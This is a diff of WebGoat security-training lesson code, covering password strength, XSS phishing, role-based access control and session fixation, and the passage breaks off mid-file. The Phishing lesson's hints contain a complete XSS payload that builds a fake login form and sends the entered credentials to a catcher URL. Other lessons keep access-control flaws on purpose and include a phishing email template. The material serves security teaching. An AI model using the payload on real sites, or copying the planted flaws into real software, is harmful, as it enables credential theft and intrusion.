|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at code.google.com, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
*
|
||||
* For details, please see http://code.google.com/p/webgoat/
|
||||
*
|
||||
* @author Reto Lippuner, Marcel Wirth
|
||||
* @created April 7, 2008
|
||||
*/
|
||||
|
||||
public class PasswordStrength extends LessonAdapter
|
||||
{
|
||||
private final static String USER = "user";
|
||||
|
||||
/**
|
||||
* Description of the Method
|
||||
*
|
||||
* @param s
|
||||
* Description of the Parameter
|
||||
* @return Description of the Return Value
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
StringBuffer person = null;
|
||||
try
|
||||
{
|
||||
|
||||
ec.addElement(new StringElement("How much time you need for these passwords? "));
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
Table table = new Table();
|
||||
table.addAttribute("align='center'", 0);
|
||||
TR tr1 = new TR();
|
||||
TD td1 = new TD();
|
||||
TD td2 = new TD();
|
||||
Input input1 = new Input(Input.TEXT, "pass1", "");
|
||||
td1.addElement(new StringElement("Password = 123456"));
|
||||
td2.addElement(input1);
|
||||
td2.addElement(new StringElement("seconds"));
|
||||
tr1.addElement(td1);
|
||||
tr1.addElement(td2);
|
||||
|
||||
TR tr2 = new TR();
|
||||
TD td3 = new TD();
|
||||
TD td4 = new TD();
|
||||
Input input2 = new Input(Input.TEXT, "pass2", "");
|
||||
td3.addElement(new StringElement("Password = abzfez"));
|
||||
td4.addElement(input2);
|
||||
td4.addElement(new StringElement("seconds"));
|
||||
tr2.addElement(td3);
|
||||
tr2.addElement(td4);
|
||||
|
||||
TR tr3 = new TR();
|
||||
TD td5 = new TD();
|
||||
TD td6 = new TD();
|
||||
Input input3 = new Input(Input.TEXT, "pass3", "");
|
||||
td5.addElement(new StringElement("Password = a9z1ez"));
|
||||
td6.addElement(input3);
|
||||
td6.addElement(new StringElement("hours"));
|
||||
tr3.addElement(td5);
|
||||
tr3.addElement(td6);
|
||||
|
||||
TR tr4 = new TR();
|
||||
TD td7 = new TD();
|
||||
TD td8 = new TD();
|
||||
Input input4 = new Input(Input.TEXT, "pass4", "");
|
||||
td7.addElement(new StringElement("Password = aB8fEz"));
|
||||
td8.addElement(input4);
|
||||
td8.addElement(new StringElement("days"));
|
||||
tr4.addElement(td7);
|
||||
tr4.addElement(td8);
|
||||
|
||||
TR tr5 = new TR();
|
||||
TD td9 = new TD();
|
||||
TD td10 = new TD();
|
||||
Input input5 = new Input(Input.TEXT, "pass5", "");
|
||||
td9.addElement(new StringElement("Password = z8!E?7"));
|
||||
td10.addElement(input5);
|
||||
td10.addElement(new StringElement("days"));
|
||||
tr5.addElement(td9);
|
||||
tr5.addElement(td10);
|
||||
table.addElement(tr1);
|
||||
table.addElement(tr2);
|
||||
table.addElement(tr3);
|
||||
table.addElement(tr4);
|
||||
table.addElement(tr5);
|
||||
ec.addElement(table);
|
||||
ec.addElement(new BR());
|
||||
ec.addElement(new BR());
|
||||
Element b = ECSFactory.makeButton("Go!");
|
||||
ec.addElement(b);
|
||||
} catch (Exception e)
|
||||
{
|
||||
s.setMessage("Error generating " + this.getClass().getName());
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
if (s.getParser().getStringParameter("pass1", "").equals("0")
|
||||
&& s.getParser().getStringParameter("pass2", "").equals("1394")
|
||||
&& s.getParser().getStringParameter("pass3", "").equals("5")
|
||||
&& s.getParser().getStringParameter("pass4", "").equals("2")
|
||||
&& s.getParser().getStringParameter("pass5", "").equals("41"))
|
||||
{
|
||||
makeSuccess(s);
|
||||
}
|
||||
|
||||
return (ec);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the HelloScreen object
|
||||
*
|
||||
* @return The hints value
|
||||
*/
|
||||
public List<String> getHints(WebSession s)
|
||||
{
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("Copy the passwords in the code checker.");
|
||||
return hints;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the ranking attribute of the HelloScreen object
|
||||
*
|
||||
* @return The ranking value
|
||||
*/
|
||||
private final static Integer DEFAULT_RANKING = new Integer(6);
|
||||
|
||||
protected Integer getDefaultRanking()
|
||||
{
|
||||
return DEFAULT_RANKING;
|
||||
}
|
||||
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
return Category.AUTHENTICATION;
|
||||
}
|
||||
|
||||
public String getInstructions(WebSession s)
|
||||
{
|
||||
String instructions = "The Accounts of your Webapplication are only as save as the passwords. "
|
||||
+ "For this exercise, your job is to test several passwords on <a href=\"https://www.cnlab.ch/codecheck\" target=\"_blank\">https://www.cnlab.ch/codecheck</a>. "
|
||||
+ " You must test all 5 passwords at the same time...<br>"
|
||||
+ "<b> On your applications you should set good password requirements! </b>";
|
||||
return (instructions);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the title attribute of the HelloScreen object
|
||||
*
|
||||
* @return The title value
|
||||
*/
|
||||
public String getTitle()
|
||||
{
|
||||
return ("Password Strength");
|
||||
}
|
||||
|
||||
public Element getCredits()
|
||||
{
|
||||
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));
|
||||
}
|
||||
}
|
@ -177,7 +177,7 @@ public class Phishing extends LessonAdapter
|
||||
hints
|
||||
.add("Add functionality that can post a request, a button might work<BR><BR>"
|
||||
+ "After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>"
|
||||
+ "http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
|
||||
+ "http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
|
||||
hints
|
||||
.add("Try: <BR> "
|
||||
+ "<input type="submit" name="login" "
|
||||
@ -207,28 +207,27 @@ public class Phishing extends LessonAdapter
|
||||
+ "<LI>javascript string concatentation uses a \"+\" </UL>"
|
||||
+ "<BR><BR>Solution for this hint():<BR><BR>"
|
||||
+ "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
|
||||
+ "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); "
|
||||
+ "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+"
|
||||
+ "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}"
|
||||
+ "\nUser Name = " + document.forms[0].user.value + "\nPassword = " + document.forms[0].pass.value); "
|
||||
+ "XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+"
|
||||
+ "document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}"
|
||||
+ "</script>");
|
||||
hints
|
||||
.add("Complete solution for this lesson:<BR><BR>"
|
||||
+ "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen."
|
||||
+ "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); "
|
||||
+ "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+"
|
||||
+ "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}"
|
||||
+ "\nUser Name = " + document.forms[0].user.value + "\nPassword = " + document.forms[0].pass.value); "
|
||||
+ "XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+"
|
||||
+ "document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}"
|
||||
+ "</script><form><br><br><HR><H3>This feature requires account login:</H2"
|
||||
+ "><br><br>Enter Username:<br><input type="text" id="user" "
|
||||
+ "name="user"><br>Enter Password:<br><input type="password" "
|
||||
+ "name = "pass"><br><input type="submit" name="login" "
|
||||
+ "value="login" onclick="hack()"></form><br><br><HR>"
|
||||
+ "<BR><BR>You may need to remove the '.' from the http://localhost./");
|
||||
+ "value="login" onclick="hack()"></form><br><br><HR>");
|
||||
/**
|
||||
* password<script>function hack(){ alert("Had this been a real attack... Your credentials
|
||||
* were just stolen.\nUser Name = " + document.forms(0).user.value + "\nPassword = " +
|
||||
* document.forms(0).pass.value); XSSImage=new Image;
|
||||
* XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+document.forms(0).user.value +
|
||||
* "&password=" + document.forms(0).pass.value + "";}</script><form><br>
|
||||
* were just stolen.\nUser Name = " + document.forms[0].user.value + "\nPassword = " +
|
||||
* document.forms[0].pass.value); XSSImage=new Image;
|
||||
* XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value +
|
||||
* "&password=" + document.forms[0].pass.value + "";}</script><form><br>
|
||||
* <br>
|
||||
* <HR>
|
||||
* <H3>This feature requires account login:</H2>
|
||||
@ -259,7 +258,7 @@ public class Phishing extends LessonAdapter
|
||||
+ "Using XSS and HTML insertion, your goal is to: <UL>"
|
||||
+ "<LI>Insert html to that requests credentials"
|
||||
+ "<LI>Add javascript to actually collect the credentials"
|
||||
+ "<LI>Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes...</UL> "
|
||||
+ "<LI>Post the credentials to http://localhost/WebGoat/catcher?PROPERTY=yes...</UL> "
|
||||
+ "To pass this lesson, the credentials must be posted to the catcher servlet.<BR>";
|
||||
|
||||
return (instructions);
|
||||
|
@ -85,9 +85,9 @@ public class RemoteAdminFlaw extends LessonAdapter
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("WebGoat has 2 admin interfaces.");
|
||||
hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'");
|
||||
hints
|
||||
.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
|
||||
hints.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'");
|
||||
hints.add("Follow the Source!");
|
||||
hints.add("On success you will see new submenu items in the menupoint 'Admin Functions'");
|
||||
|
||||
return hints;
|
||||
}
|
||||
|
@ -1,9 +1,17 @@
|
||||
|
||||
package org.owasp.webgoat.lessons.RoleBasedAccessControl;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.FileReader;
|
||||
import java.io.IOException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.StringElement;
|
||||
import org.apache.ecs.html.Body;
|
||||
import org.apache.ecs.html.Head;
|
||||
import org.apache.ecs.html.Html;
|
||||
import org.apache.ecs.html.Title;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
|
||||
import org.owasp.webgoat.lessons.GoatHillsFinancial.FindProfile;
|
||||
@ -85,6 +93,7 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
|
||||
return Category.ACCESS_CONTROL;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Gets the hints attribute of the DirectoryScreen object
|
||||
*
|
||||
@ -92,22 +101,29 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
|
||||
*/
|
||||
protected List<String> getHints(WebSession s)
|
||||
{
|
||||
String stage = getStage(s);
|
||||
List<String> hints = new ArrayList<String>();
|
||||
hints.add("Many sites attempt to restrict access to resources by role.");
|
||||
hints.add("Developers frequently make mistakes implementing this scheme.");
|
||||
hints.add("Attempt combinations of users, roles, and resources.");
|
||||
|
||||
// Stage 1
|
||||
hints.add("How does the application know that the user selected the delete function?");
|
||||
|
||||
hints.add("Stage1: How does the application know that the user selected the delete function?");
|
||||
|
||||
|
||||
hints.add("Stage2: You have to code to check the authorization of the user for the action.");
|
||||
// Stage 2
|
||||
|
||||
|
||||
|
||||
// Stage 3
|
||||
hints.add("How does the application know that the user selected any particular employee to view?");
|
||||
hints.add("Stage3: How does the application know that the user selected any particular employee to view?");
|
||||
|
||||
|
||||
// Stage 4
|
||||
hints.add("Note that the contents of the staff listing change depending on who is logged in.");
|
||||
|
||||
hints.add("Stage4: You have to code to check the authorization of the user for the action on a certain employee.");
|
||||
|
||||
return hints;
|
||||
}
|
||||
|
||||
@ -134,13 +150,16 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
|
||||
{
|
||||
instructions = "Stage 1: Bypass Presentational Layer Access Control.<br>"
|
||||
+ "As regular employee 'Tom', exploit weak access control to use the Delete function from the Staff List page. "
|
||||
+ "Verify that Tom's profile can be deleted.";
|
||||
+ "Verify that Tom's profile can be deleted."
|
||||
+ "The password for a user is always his prename..";
|
||||
}
|
||||
else if (STAGE2.equals(stage))
|
||||
{
|
||||
instructions = "Stage 2: Add Business Layer Access Control.<br>"
|
||||
instructions ="Stage 2: Add Business Layer Access Control.<br><br/>" +
|
||||
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
|
||||
+ "Implement a fix to deny unauthorized access to the Delete function. "
|
||||
+ "Repeat stage 1. Verify that access to Delete is properly denied.";
|
||||
+ "Repeat stage 1. Verify that access to Delete is properly denied.<br/>"
|
||||
+ "To do this you have to alter code.";
|
||||
}
|
||||
else if (STAGE3.equals(stage))
|
||||
{
|
||||
@ -149,7 +168,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
|
||||
}
|
||||
else if (STAGE4.equals(stage))
|
||||
{
|
||||
instructions = "Stage 4: Add Data Layer Access Control.<br>"
|
||||
instructions = "Stage 4: Add Data Layer Access Control.<br><br/>" +
|
||||
"<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
|
||||
+ "Implement a fix to deny unauthorized access to this data. "
|
||||
+ "Repeat stage 3. Verify that access to other employee's profiles is properly denied.";
|
||||
}
|
||||
@ -157,6 +177,41 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
|
||||
|
||||
return instructions;
|
||||
}
|
||||
|
||||
public String getLessonSolutionFileName(WebSession s) {
|
||||
String solutionFileName = null;
|
||||
String stage = getStage(s);
|
||||
solutionFileName = "/lesson_solutions/Lab Access Control/Lab " + stage + ".html";
|
||||
return solutionFileName;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSolution(WebSession s) {
|
||||
String src = null;
|
||||
|
||||
try
|
||||
{
|
||||
System.out.println("Solution: " + getLessonSolutionFileName(s));
|
||||
src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false);
|
||||
} catch (IOException e)
|
||||
{
|
||||
s.setMessage("Could not find the solution file");
|
||||
src = ("Could not find the solution file");
|
||||
}
|
||||
|
||||
// Html html = new Html();
|
||||
//
|
||||
// Head head = new Head();
|
||||
// head.addElement(new Title(getLessonSolutionFileName(s)));
|
||||
//
|
||||
// Body body = new Body();
|
||||
// body.addElement(new StringElement(src));
|
||||
//
|
||||
// html.addElement(head);
|
||||
// html.addElement(body);
|
||||
|
||||
return src;
|
||||
}
|
||||
|
||||
public void handleRequest(WebSession s)
|
||||
{
|
||||
@ -179,7 +234,7 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
|
||||
|
||||
try
|
||||
{
|
||||
LessonAction action = getAction(requestedActionName);
|
||||
DefaultLessonAction action = (DefaultLessonAction) getAction(requestedActionName);
|
||||
if (action != null)
|
||||
{
|
||||
// System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " +
|
||||
@ -191,6 +246,11 @@ public class RoleBasedAccessControl extends GoatHillsFinancial
|
||||
}
|
||||
else
|
||||
{
|
||||
//***************CODE HERE*************************
|
||||
|
||||
|
||||
|
||||
//*************************************************
|
||||
if (action.isAuthenticated(s))
|
||||
{
|
||||
action.handleRequest(s);
|
||||
|
@ -117,6 +117,7 @@ public class ViewProfile extends DefaultLessonAction
|
||||
.getInt("salary"), answer_results.getString("ccn"), answer_results
|
||||
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
|
||||
.getString("disciplined_notes"), answer_results.getString("personal_description"));
|
||||
System.out.println("Profile: " + profile);
|
||||
/*
|
||||
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
|
||||
* profile.getLastName() + " (" + profile.getId() + ")");
|
||||
|
@ -0,0 +1,462 @@
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import org.apache.ecs.Element;
|
||||
import org.apache.ecs.ElementContainer;
|
||||
import org.apache.ecs.html.B;
|
||||
import org.apache.ecs.html.Input;
|
||||
import org.apache.ecs.html.TD;
|
||||
import org.apache.ecs.html.TR;
|
||||
import org.apache.ecs.html.Table;
|
||||
import org.apache.ecs.html.TextArea;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
|
||||
|
||||
public class SessionFixation extends SequentialLessonAdapter
|
||||
{
|
||||
|
||||
private String LoggedInUser = "";
|
||||
|
||||
private final String mailTo = "jane.plane@owasp.org";
|
||||
private final String mailFrom = "admin@webgoatfinancial.com";
|
||||
private final String mailTitel = "Check your account";
|
||||
private final String MAILCONTENTNAME = "mailname";
|
||||
|
||||
private final static String USER = "user";
|
||||
private final static String PASSWORD = "pass";
|
||||
|
||||
/**
|
||||
* Creates Staged WebContent
|
||||
*
|
||||
* @param s
|
||||
*/
|
||||
protected Element createContent(WebSession s)
|
||||
{
|
||||
return super.createStagedContent(s);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the category attribute of the RoleBasedAccessControl object
|
||||
*
|
||||
* @return The category value
|
||||
*/
|
||||
protected ElementContainer doStage1(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
String mailContent = s.getParser().getStringParameter(MAILCONTENTNAME, "");
|
||||
if (mailContent.contains("SSID"))
|
||||
{
|
||||
|
||||
// ec.addElement(mailContent);
|
||||
return ec;
|
||||
}
|
||||
|
||||
ec.addElement(createStage1Content(s));
|
||||
return ec;
|
||||
|
||||
}
|
||||
|
||||
private Element createStage1Content(WebSession s)
|
||||
{
|
||||
|
||||
String link = getLink();
|
||||
String mailText = "Dear MS. Plane <br><br>" + "During the last week we had a few problems with our servers. "
|
||||
+ "A lot of people complained that there account details are wrong. "
|
||||
+ "That is why we kindly ask you to use following link to verify your "
|
||||
+ "data:<br><br><center><a href=" + link + "&XXXX=YYYYYYYY> WebGoat Financial</a></center><br><br>"
|
||||
+ "We are sorry for the caused inconvenience and thank you for your colaboration.<br><br>"
|
||||
+ "Your WebGoat Financial Team";
|
||||
|
||||
ElementContainer ec = new ElementContainer();
|
||||
Table table = new Table();
|
||||
TR tr1 = new TR();
|
||||
TD td1 = new TD();
|
||||
TD td2 = new TD();
|
||||
|
||||
TR tr2 = new TR();
|
||||
TD td3 = new TD();
|
||||
TD td4 = new TD();
|
||||
|
||||
TR tr3 = new TR();
|
||||
TD td5 = new TD();
|
||||
TD td6 = new TD();
|
||||
|
||||
TR tr4 = new TR();
|
||||
TD td7 = new TD();
|
||||
td7.addAttribute("colspan", 2);
|
||||
|
||||
TR tr5 = new TR();
|
||||
TD td8 = new TD();
|
||||
td8.addAttribute("colspan", 2);
|
||||
td8.addAttribute("align", "center");
|
||||
|
||||
table.addElement(tr1);
|
||||
table.addElement(tr2);
|
||||
table.addElement(tr3);
|
||||
table.addElement(tr4);
|
||||
table.addElement(tr5);
|
||||
|
||||
tr1.addElement(td1);
|
||||
tr1.addElement(td2);
|
||||
tr2.addElement(td3);
|
||||
tr2.addElement(td4);
|
||||
tr3.addElement(td5);
|
||||
tr3.addElement(td6);
|
||||
tr4.addElement(td7);
|
||||
tr5.addElement(td8);
|
||||
|
||||
ec.addElement(table);
|
||||
|
||||
B b = new B();
|
||||
b.addElement("MailTo: ");
|
||||
td1.addElement(b);
|
||||
td2.addElement(mailTo);
|
||||
|
||||
b = new B();
|
||||
b.addElement("MailFrom: ");
|
||||
td3.addElement(b);
|
||||
td4.addElement(mailFrom);
|
||||
|
||||
b = new B();
|
||||
b.addElement("Title: ");
|
||||
td5.addElement(b);
|
||||
Input titleField = new Input();
|
||||
titleField.setValue(mailTitel);
|
||||
titleField.addAttribute("size", 30);
|
||||
td6.addElement(titleField);
|
||||
|
||||
TextArea mailContent = new TextArea();
|
||||
mailContent.addAttribute("cols", 50);
|
||||
mailContent.addAttribute("rows", 10);
|
||||
mailContent.addElement(mailText);
|
||||
mailContent.setName(MAILCONTENTNAME);
|
||||
td7.addElement(mailContent);
|
||||
|
||||
td8.addElement(new Input(Input.SUBMIT, "SendMail", "Send Mail"));
|
||||
|
||||
return ec;
|
||||
}
|
||||
|
||||
/**
|
||||
* Creation of the main content
|
||||
*
|
||||
* @param s
|
||||
* @return Element
|
||||
*/
|
||||
protected Element createMainContent(WebSession s)
|
||||
{
|
||||
ElementContainer ec = new ElementContainer();
|
||||
|
||||
// try
|
||||
// {
|
||||
//
|
||||
//
|
||||
// style sty = new style();
|
||||
//
|
||||
// sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header
|
||||
// {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width:
|
||||
// 490px;padding-right: 10px;padding-top: 60px;background-repeat:
|
||||
// no-repeat;}.lesson_workspace {background-image:
|
||||
// url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height:
|
||||
// 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text
|
||||
// {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height:
|
||||
// 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input
|
||||
// {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left:
|
||||
// 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica,
|
||||
// sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login
|
||||
// {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height:
|
||||
// 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left:
|
||||
// 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial,
|
||||
// Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search
|
||||
// {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height:
|
||||
// 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left:
|
||||
// 80px;margin-top: 50px;text-align: center;}");
|
||||
// ec.addElement(sty);
|
||||
//
|
||||
// Div wrapperDiv = new Div();
|
||||
// wrapperDiv.setID("lesson_wrapper");
|
||||
//
|
||||
// Div headerDiv = new Div();
|
||||
// headerDiv.setID("lesson_header");
|
||||
//
|
||||
// Div workspaceDiv = new Div();
|
||||
// workspaceDiv.setClass("lesson_workspace");
|
||||
//
|
||||
// wrapperDiv.addElement(headerDiv);
|
||||
// wrapperDiv.addElement(workspaceDiv);
|
||||
//
|
||||
// ec.addElement(wrapperDiv);
|
||||
//
|
||||
// workspaceDiv.addElement(createWorkspaceContent(s));
|
||||
//
|
||||
// } catch (Exception e)
|
||||
// {
|
||||
// s.setMessage("Error generating " + this.getClass().getName());
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
|
||||
return (ec);
|
||||
}
|
||||
|
||||
// /**
|
||||
// * Creation of the content of the workspace
|
||||
// * @param s
|
||||
// * @return Element
|
||||
// */
|
||||
// private Element createWorkspaceContent(WebSession s)
|
||||
// {
|
||||
//
|
||||
//
|
||||
// ElementContainer ec = new ElementContainer();
|
||||
//
|
||||
// return ec;
|
||||
// }
|
||||
|
||||
// /**
|
||||
// * Create content for logging in
|
||||
// * @param ec
|
||||
// */
|
||||
// private void createLogInContent(ElementContainer ec, String errorMessage) {
|
||||
// Div loginDiv = new Div();
|
||||
// loginDiv.setID("lesson_login");
|
||||
//
|
||||
// Table table = new Table();
|
||||
// //table.setStyle(tableStyle);
|
||||
// table.addAttribute("align='center'", 0);
|
||||
// TR tr1 = new TR();
|
||||
// TD td1 = new TD();
|
||||
// TD td2 = new TD();
|
||||
// td1.addElement(new StringElement("Enter your name: "));
|
||||
// td2.addElement(new Input(Input.TEXT, USER));
|
||||
// tr1.addElement(td1);
|
||||
// tr1.addElement(td2);
|
||||
//
|
||||
// TR tr2 = new TR();
|
||||
// TD td3 = new TD();
|
||||
// TD td4 = new TD();
|
||||
// td3.addElement(new StringElement("Enter your password: "));
|
||||
// td4.addElement(new Input(Input.PASSWORD, PASSWORD));
|
||||
// tr2.addElement(td3);
|
||||
// tr2.addElement(td4);
|
||||
//
|
||||
//
|
||||
// TR tr3 = new TR();
|
||||
// TD td5 = new TD();
|
||||
// td5.setColSpan(2);
|
||||
// td5.setAlign("center");
|
||||
//
|
||||
// td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit"));
|
||||
// tr3.addElement(td5);
|
||||
//
|
||||
// table.addElement(tr1);
|
||||
// table.addElement(tr2);
|
||||
// table.addElement(tr3);
|
||||
// loginDiv.addElement(table);
|
||||
// ec.addElement(loginDiv);
|
||||
//
|
||||
// H2 errorTag = new H2(errorMessage);
|
||||
// errorTag.addAttribute("align", "center");
|
||||
// errorTag.addAttribute("class", "info");
|
||||
// ec.addElement(errorTag);
|
||||
//
|
||||
//
|
||||
// }
|
||||
|
||||
// /**
|
||||
// * Create content after a successful login
|
||||
// * @param s
|
||||
// * @param ec
|
||||
// */
|
||||
// private void createSuccessfulLoginContent(WebSession s,
|
||||
// ElementContainer ec) {
|
||||
//
|
||||
// String userDataStyle = "margin-top:50px;";
|
||||
//
|
||||
// Div userDataDiv = new Div();
|
||||
// userDataDiv.setStyle(userDataStyle);
|
||||
// userDataDiv.addAttribute("align", "center");
|
||||
// Table table = new Table();
|
||||
// table.addAttribute("cellspacing", 10);
|
||||
// table.addAttribute("cellpadding", 5);
|
||||
//
|
||||
// table.addAttribute("align", "center");
|
||||
// TR tr1 =new TR();
|
||||
// TR tr2 = new TR();
|
||||
// TR tr3 = new TR();
|
||||
// TR tr4 = new TR();
|
||||
// tr1.addElement(new TD("<b>Firstname:</b>"));
|
||||
// tr1.addElement(new TD(LoggedInUser));
|
||||
//
|
||||
// try
|
||||
// {
|
||||
// ResultSet results = getUser(LoggedInUser, s);
|
||||
// results.first();
|
||||
//
|
||||
// tr2.addElement(new TD("<b>Lastname:</b>"));
|
||||
// tr2.addElement(new TD(results.getString("last_name")));
|
||||
//
|
||||
// tr3.addElement(new TD("<b>Credit Card Type:</b>"));
|
||||
// tr3.addElement(new TD(results.getString("cc_type")));
|
||||
//
|
||||
// tr4.addElement(new TD("<b>Credit Card Number:</b>"));
|
||||
// tr4.addElement(new TD(results.getString("cc_number")));
|
||||
//
|
||||
//
|
||||
// }
|
||||
//
|
||||
// catch (Exception e)
|
||||
// {
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
// table.addElement(tr1);
|
||||
// table.addElement(tr2);
|
||||
// table.addElement(tr3);
|
||||
// table.addElement(tr4);
|
||||
//
|
||||
// userDataDiv.addElement(table);
|
||||
// ec.addElement(userDataDiv);
|
||||
// ec.addElement(createLogoutLink());
|
||||
// }
|
||||
|
||||
// /**
|
||||
// * Create a link for logging out
|
||||
// * @return Element
|
||||
// */
|
||||
// private Element createLogoutLink()
|
||||
// {
|
||||
// A logoutLink = new A();
|
||||
// logoutLink.addAttribute("href", getLink() + "&logout=true");
|
||||
// logoutLink.addElement("Logout");
|
||||
//
|
||||
// String logoutStyle = "margin-right:50px; mrgin-top:30px";
|
||||
// Div logoutDiv = new Div();
|
||||
// logoutDiv.addAttribute("align", "right");
|
||||
// logoutDiv.addElement(logoutLink);
|
||||
// logoutDiv.setStyle(logoutStyle);
|
||||
//
|
||||
// return logoutDiv;
|
||||
// }
|
||||
|
||||
// /**
|
||||
// * Get a user by its name
|
||||
// * @param user
|
||||
// * @param s
|
||||
// * @return ResultSet containing the user
|
||||
// */
|
||||
// private ResultSet getUser(String user, WebSession s)
|
||||
// {
|
||||
// try {
|
||||
// Connection connection = DatabaseUtilities.getConnection(s);
|
||||
// String query = "SELECT * FROM user_data_tan WHERE first_name = ? ";
|
||||
// PreparedStatement prepStatement =connection.prepareStatement(query,
|
||||
// ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
// ResultSet.CONCUR_READ_ONLY);
|
||||
// prepStatement.setString(1, user);
|
||||
//
|
||||
//
|
||||
// ResultSet results = prepStatement.executeQuery();
|
||||
//
|
||||
// return results;
|
||||
//
|
||||
// } catch (Exception e) {
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
// return null;
|
||||
//
|
||||
// }
|
||||
|
||||
// /**
|
||||
// * See if the password and corresponding user is valid
|
||||
// * @param userName
|
||||
// * @param password
|
||||
// * @param s
|
||||
// * @return true if the password was correct
|
||||
// */
|
||||
// private boolean correctLogin(String userName, String password, WebSession s)
|
||||
// {
|
||||
// try {
|
||||
// Connection connection = DatabaseUtilities.getConnection(s);
|
||||
// String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?";
|
||||
// PreparedStatement prepStatement =connection.prepareStatement(query,
|
||||
// ResultSet.TYPE_SCROLL_INSENSITIVE,
|
||||
// ResultSet.CONCUR_READ_ONLY);
|
||||
// prepStatement.setString(1, userName);
|
||||
// prepStatement.setString(2, password);
|
||||
//
|
||||
// ResultSet results = prepStatement.executeQuery();
|
||||
//
|
||||
// if ((results != null) && (results.first() == true))
|
||||
// {
|
||||
//
|
||||
// return true;
|
||||
//
|
||||
// }
|
||||
//
|
||||
// } catch (Exception e) {
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
//
|
||||
// return false;
|
||||
//
|
||||
// }
|
||||
|
||||
/**
|
||||
* Get the category
|
||||
*
|
||||
* @return the category
|
||||
*/
|
||||
protected Category getDefaultCategory()
|
||||
{
|
||||
